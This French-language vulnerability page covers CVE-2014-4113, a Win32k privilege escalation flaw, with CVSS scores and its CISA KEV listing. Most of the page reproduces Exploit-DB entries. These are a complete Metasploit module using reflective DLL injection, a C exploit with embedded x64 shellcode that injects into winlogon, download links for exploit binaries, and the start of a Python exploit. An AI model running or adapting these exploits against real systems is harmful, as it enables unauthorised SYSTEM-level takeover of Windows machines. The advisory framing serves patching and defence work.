Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Win32k Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-05-03 22:00 +00:00
Action attendue : 2022-05-24 22:00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 35101
Date de publication : 2014-10-27 23:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0
}))
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end
Exploit Database EDB-ID : 46945
Date de publication : 2014-11-23 23:00 +00:00
Auteur : anonymous
EDB Vérifié : No
#include "hd.h"
// EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46945.rar
byte __s_code[]={
0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 ,
0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 ,
0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B ,
0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 ,
0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C ,
0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 ,
0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 ,
0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E ,
0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,
0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B ,
0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 ,
0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D ,
0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 ,
0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D ,
0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 ,
0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 ,
0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C ,
0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 ,
0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 ,
0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 ,
0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 ,
0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 ,
0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 ,
0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C ,
0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 ,
0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 ,
0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 ,
0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 ,
0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 ,
0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3
};
HMENU __init_menu(
)
{
HMENU hMenu_Ret=NULL;
MENUITEMINFO mItem={0};
do
{
HMENU hme=CreatePopupMenu();
if (hme==NULL){
printf("CreatePopupMenu()_1 fail:0x%x\n" ,GetLastError());
break;
}
mItem.cbSize=sizeof(MENUITEMINFO);
mItem.fMask=(MIIM_STRING);
bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem);
if (bisok==false){
printf("InsertMenuItem()_1 fail:0x%x\n" ,GetLastError());
break;
}
hMenu_Ret=CreatePopupMenu();
if (hMenu_Ret==NULL){
printf("CreatePopupMenu()_2 fail:0x%x\n" ,GetLastError());
break;
}
MENUITEMINFO mi={0};
mi.cbSize=sizeof(mi);
mi.fMask=(MIIM_STRING|MIIM_SUBMENU);
mi.hSubMenu=hme;
mi.dwTypeData="";
mi.cch=1;
bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi);
if (bisok==false){
printf("InsertMenuItem()_2 fail: 0x%x\n" ,GetLastError());
}
} while (false);
return hMenu_Ret;
}
PVOID __calc_sep_token_addr(
)
{
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION handleInfo=NULL;
ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL;
do
{
_NtQuerySystemInformation NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
_NtDuplicateObject NtDuplicateObject =
(_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject");
_NtQueryObject NtQueryObject =
(_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject");
if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){
printf("get sys proc failed!\n");
break;
}
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo,
handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
if (!NT_SUCCESS(status)){
printf("NtQuerySystemInformation failed!\n");
break;
}
POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000);
for (i = 0; i < handleInfo->HandleCount; i++)
{
SYSTEM_HANDLE handle = handleInfo->Handles[i];
if (handle.ProcessId != GetCurrentProcessId())
continue;
if (!NT_SUCCESS(NtQueryObject(
(HANDLE)handle.Handle,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL
)))
{
printf("[%#x] Error!\n", handle.Handle);
continue;
}
if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0)
continue;
if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token"))
continue;
ret_obj_addr=((ULONGLONG)handle.Object+0x40);
}
if (objectTypeInfo)
free(objectTypeInfo);
if (handleInfo)
free(handleInfo);
} while (false);
return (PVOID)ret_obj_addr;
}
ULONGLONG __calc_pid(
)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION PsInfo=NULL;
ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL;
do
{
_NtQuerySystemInformation NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation){
printf("get sys proc failed!\n");
break;
}
PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize);
while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo,
PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2);
if (!NT_SUCCESS(status)){
printf("NtQuerySystemInformation failed!\n");
break;
}
for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta))
{
if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0)
continue;
if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){
ret_pid=PsInfo->InheritedFromProcessId;
break;
}
}
} while (false);
return ret_pid;
}
ULONGLONG __init_fake_wnd_pti(
)
{
ULONGLONG ret_pti=NULL;
ULONGLONG dst_proc_addr=NULL;
do
{
ret_pti=(ULONGLONG)malloc(0x500);
if (ret_pti==NULL){
printf("malloc fail!\n");
return NULL;
}
*(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0; //Win32Process
*(DWORD*)(ret_pti+_oft_0420h_pti)=0; //not 0x20
*(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5; //TODO:
void* tmpbuf=malloc(0x100);
memset(tmpbuf ,0 ,0x100);
*(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit
} while (false);
return ret_pti;
}
bool __init_fake_tagWnd(
)
{
bool bRet=false;
_ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL;
do
{
HMODULE hmd=LoadLibrary("ntdll.dll");
if (hmd==NULL)
break;
ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti();
if (fake_tagwnd_pti==NULL){
printf("__calc_wnd_pti() fail!\n");
break;
}
pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory");
if (pfn_ZwAllocateVm==NULL){
printf("pfn ZwAllocateVirtualMemery addr is NULL!\n");
break;
}
BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000;
NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,®ion_size,
MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE);
if (status < 0){
printf("Allocate fake tagWnd fail!\n");
break;;
}
ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr;
if (ul_align > 0x10000){
printf("alloc fake fail: %x!\n" ,fake_tagWnd_addr);
break;
}
memset(fake_tagWnd_addr+ul_align ,0 ,0x1000);
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0;
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process
*(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed
bRet=true;
} while (false);
return bRet;
}
LRESULT __stdcall __wh_wnd_proc(
int code,
WPARAM wparam,
LPARAM lparam
)
{
do
{
CWPSTRUCT* lpm=(CWPSTRUCT*)lparam;
if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true)
break;
g_bis_mn_findwnded=true;
UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc);
g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl);
} while (false);
return CallNextHookEx(g_hhk ,code ,wparam ,lparam);
}
LRESULT __wnd_proc_sl(
HWND hwnd,
UINT umsg,
WPARAM wparam,
LPARAM lparam
)
{
do
{
if (umsg != MN_FINDWINDOWFROMPOINT )
break;
if (g_bis_endmenu)
break;
g_bis_endmenu=1;
EndMenu();
return 0xFFFFFFFB;
} while (false);
return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam);
}
LRESULT __stdcall __wnd_proc(
HWND hwnd,
UINT umsg,
WPARAM wparam,
LPARAM lparam
)
{
if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE)
{
g_bis_idled=TRUE;
PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0);
PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0);
PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff);
}
return DefWindowProc(hwnd ,umsg ,wparam ,lparam);
}
DWORD __stdcall __thread_plroc(
void* param
)
{
bool bisok=false;
WNDCLASS wndcls={0};
do
{
wndcls.lpfnWndProc=__wnd_proc;
wndcls.lpszClassName="cve_2014_4113";
RegisterClass(&wndcls);
HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0,
200 ,200 ,NULL ,NULL ,NULL ,NULL);
if (hwnd==NULL){
printf("CreateWindowEx() fail: 0x%x\n" ,GetLastError());
break;
}
HMENU hmenu=__init_menu();
if (hmenu==NULL){
printf("__init_menu() fail: 0x%x\n" ,GetLastError());
break;
}
bool bisok=__init_fake_tagWnd();
if (bisok==false){
printf("__init_fake_tagWnd() fail:0x%x\n" ,GetLastError());
break;
}
g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId());
if (g_hhk==NULL){
printf("SetWindowsHookEx() fail:0x%x\n" ,GetLastError());
break;
}
bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL);
if (bisok==false){
printf("TrackPopupMenu() fail:0x%x\n" ,GetLastError());
break;
}
CloseHandle(hmenu);
DestroyWindow(hwnd);
} while (FALSE);
return 0;
}
int main(
int argc ,char** argv
)
{
bool bisok=false;
do
{
if (argc != 2){
printf("usage: xxx fpath");
break;
}
HANDLE hProcessToken=NULL ,hRestrictedToken=NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) {
printf("Could not open process token\n");
break;
}
if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){
printf("Could not create restricted token\n");
break;
}
if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) {
printf("Could not adjust privileges\n");
break;
}
CloseHandle(hProcessToken);
HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL);
if (hthread==NULL){
printf("CreateThread() fail: 0x%x\n" ,GetLastError());
break;
}
WaitForSingleObject(hthread ,1000);
TerminateThread(hthread ,0);
if (!ImpersonateLoggedOnUser(hRestrictedToken)){
printf("ImpersonateLoggedOnUser failed!\n");
break;
}
PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA");
if (pfn_cps==NULL){
printf("GetProcess CreateProcessA failed!\n");
break;
}
ULONGLONG ul_pid_winlogon=__calc_pid();
if (ul_pid_winlogon==NULL){
printf("__calc_winlogon_pid failed!\n");
break;
}
HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon);
if (hprocess==NULL){
printf("OpenProcess failed: %x\n" ,GetLastError());
break;
}
//init params
PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE);
if (params==NULL){
printf("VirtualAllocEx failed:%x\n" ,GetLastError());
break;
}
ULONGLONG ul_ret_wrt=0;
bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt);
if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){
printf("WriteProcessMemory() failed!\n");
break;
}
//init shellcode
PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
if (shellcode==NULL){
printf("VirtualAllocEx failed:%x\n" ,GetLastError());
break;
}
bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt);
if (bisok==false || ul_ret_wrt < sizeof(__s_code)){
printf("WriteProcessMemory() failed!\n");
break;
}
DWORD dw_tid=0;
HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid);
if (htd_rmt==NULL){
printf("CreateRemoteThread() fail!\n");
break;
}
//clear
CloseHandle(htd_rmt);
CloseHandle(hprocess);
CloseHandle(hRestrictedToken);
} while (false);
return 0;
}
Exploit Database EDB-ID : 39666
Date de publication : 2016-04-04 22:00 +00:00
Auteur : MWR InfoSecurity
EDB Vérifié : No
Sources:
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf
https://github.com/sam-b/CVE-2014-4113
EDB Mirror: https://www.exploit-db.com/docs/english/39665-windows-kernel-exploitation-101-exploiting-cve-2014-4113.pdf
Trigger and exploit code for CVE-2014-4113:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39666.zip
Exploit Database EDB-ID : 37064
Date de publication : 2015-05-18 22:00 +00:00
Auteur : ryujin
EDB Vérifié : Yes
# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup
# http://www.exploit-db.com/docs/35152.pdf
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com
# EDB Note: Swapping the shellcode for a bind or reverse shell will BSOD the machine.
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, threading, signal
ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING = 0x00000040
MIIM_SUBMENU = 0x00000004
WH_CALLWNDPROC = 0x4
